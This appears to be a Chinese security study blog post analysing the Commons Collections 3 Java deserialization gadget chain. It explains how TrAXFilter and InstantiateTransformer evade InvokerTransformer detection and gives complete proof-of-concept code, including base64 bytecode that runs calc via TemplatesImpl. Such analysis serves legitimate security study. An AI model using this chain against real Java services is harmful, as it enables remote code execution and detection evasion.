本文最后更新于:2024年10月9日 晚上
CC3链:绕过对InvokerTransformer
的检测
本文主要学习自Java安全漫谈
起源于InvokerTransformer
的CC链自然也会有被写入检测规则的时候,所以需要另辟蹊径
CommonsCollections3
并没有使⽤到InvokerTransformer
来调⽤任意⽅法,⽽是⽤到了另⼀个 类, com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
这里不用单独导入pom依赖,在jdk中的rt.jar
直接打包了,rt.jar
是JAVA基础类库,包含lang在内的大部分功能
Java安全漫谈中提出高版本利用构造,所以我这里直接构造高版本的链,jdk版本为1.8.0_92
TemplatesImpl动态加载类
在CC1,CC6中,我们最终都是都是通过调用Runtime
类来实现命令执行,但是在Java中,提供了一种动态加载类的方法,之前分析过的Log4j2解析漏洞,底层就是通过JNDI
支持rmi
协议,而rmi
协议支持远程加载我们的恶意类,通过 URLClassLoader
去实现的。
URLClassLoader
加载的.class
文件,也就是java字节码,
loadClass
:作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行findClass
findClass
:作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给defineClass
defineClass
:作用是处理前面传入的字节码,将其处理成真正的Java类
真正核心的部分其实是defineClass
,他决定了如何将一段字节流转变成一个Java类,Java 默认的ClassLoader#defineClass
是一个native
方法,逻辑在JVM的C语言代码中
在 defineClass
被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中,在defineClass
时也无法被直接调用到。所以,如果我们要使用 defineClass
在目标机器上执行任意代码,需要想办法调用构造函数。
defineClass
方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链TemplatesImpl
的基石
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类中定义了一个内部类TransletClassLoader
:
这个类里重写了defineClass
方法,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。所以也就是说这里的defineClass
由其父类的 protected类型变成了一个default类型的方法,可以被类外部调用。查看对其调用链:
TransletClassLoader#defineClass()
TemplatesImpl#defineTransletClasses()
TemplatesImpl#getTransletInstance()
TemplatesImpl#newTransformer()
,到这个函数这里就是public,可以被外部调用了
1 2 3 4 5
| TemplatesImpl.getOutputProperties() ->TemplatesImpl.newTransformer() -> TemplatesImpl.getTransletInstance() -> TemplatesImpl.defineTransletClasses() -> TransletClassLoader.defineClass()
|
贴一段测试代码:只需要赋值_bytecodes
,_name
,_tfactory
三个变量即可实现动态加载类实现代码执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void testTemplatesImpl() throws Exception { byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA" + "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" + "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" + "aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm" + "KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y" + "Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw" + "YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp" + "bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb" + "DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB" + "AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj" + "dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z" + "bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" + "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" + "OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA" + "AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA" + "AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA" + "DwABABAAAAACABE="); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {code}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); obj.newTransformer(); }
|
TemplatesImpl
中加载的字节码对应的类必须是apache.xalan.internal.xsltc.runtime.AbstractTranslet
的子类。
但是到这里,突然想到,使用defineClass
加载的类无法直接执行,需要调用其构造函数才能执行,那么这个构造函数在哪里调用的,我现在分析一下,看到TemplatesImpl.java
中414行的位置,可以看到使用的defineClass
会为成员变量_class
赋值,也就是动态加载的类被赋值进去了
1
| _class[i] = loader.defineClass(_bytecodes[i]);
|
然后return,看到451行的位置,这里是调用处
1
| if (_class == null) defineTransletClasses();
|
在它下面455行,就是构造函数触发的地方,这里也说明为什么我们构造的类需要是AbstractTranslet
的子类
1
| AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
|
到这里,使用TemplatesImpl动态加载类就完成了
CC3
回到TrAXFilter
类中,发现其构造函数中会自然调用TemplatesImpl#newTransformer()
,那么我们就可以通过构造TrAXFilter
一个实例,调用其构造函数即可实现恶意类加载,如何实现调用构造函数而又不出现InvokerTransformer
,这里引入了一个新的函数,collections.functors.InstantiateTransformer
,找到它的transform
方法,可以发现这里得到传入参数input
的构造器,然后通过传入的iArgs
参数去构造实例。
现在就考虑iArgs
需要哪些,也就是TrAXFilter
的构造函数中赋值的属性值,可以发现最重要的就是templates
,它属于Templates
接口类
1 2 3 4 5 6 7
| public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
|
那就去实现一个TemplatesImpl
类,刚刚在上面已经实现过了,只需要更换一下base64编码后的字节码。这里的input
就是我们的TrAXFilter
作为参数传入,在高版本利用情况下,直接将CC6的前半段接上就行了,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| public static void main(String[] args) throws Exception { byte[] CalcCode = Base64.getDecoder().decode( "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEA" + "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" + "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0a" + "W9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKEx" + "jb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hc" + "GFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS9" + "4bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAA" + "ygpVgcAGwEAClNvdXJjZUZpbGUBABBUZW1wbGF0ZVBPQy5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGM" + "MAB8AIAEAC1RlbXBsYXRlUE9DAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzb" + "HRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnR" + "lcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL" + "2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQA" + "nKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIA" + "AIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAALAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAA" + "ABAAAAAGxAAAAAQAKAAAABgABAAAADwALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAA" + "bgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAARAAQAEgANABMACwAAAAQAAQAQAAEAEQAAAAIAEg==" ); TemplatesImpl calcTemp = new TemplatesImpl(); setFieldValue(calcTemp, "_bytecodes", new byte[][] {CalcCode}); setFieldValue(calcTemp, "_name", "CalcTemplatesImpl"); setFieldValue(calcTemp, "_tfactory", new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{calcTemp}) }; ChainedTransformer transformerChain = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap<>(),transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"key"); Map tiedMap = new HashMap<>(); tiedMap.put(tiedMapEntry,"Exp"); HashSet hashSet = new HashSet(1); hashSet.add(tiedMap); lazyMap.remove("key");
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(hashSet); oos.close(); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); ois.readObject(); }
|
最后捋一捋:
使用的是动态加载类的思想,关键在于如何触发TrAXFilter
的构造函数,于是发现了新的带有transform
的InstantiateTransformer
类
1 2 3 4 5 6 7 8
| CC6前半段 ->InstantiateTransformer#transform() ->TrAXFilter#TrAXFilter() ->TemplatesImpl#TemplatesImpl() ->TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() ->TemplatesImpl#defineTransletClasses() ->TransletClassLoader#defineClass()
|
CC链分析完整测试代码,可直接拉取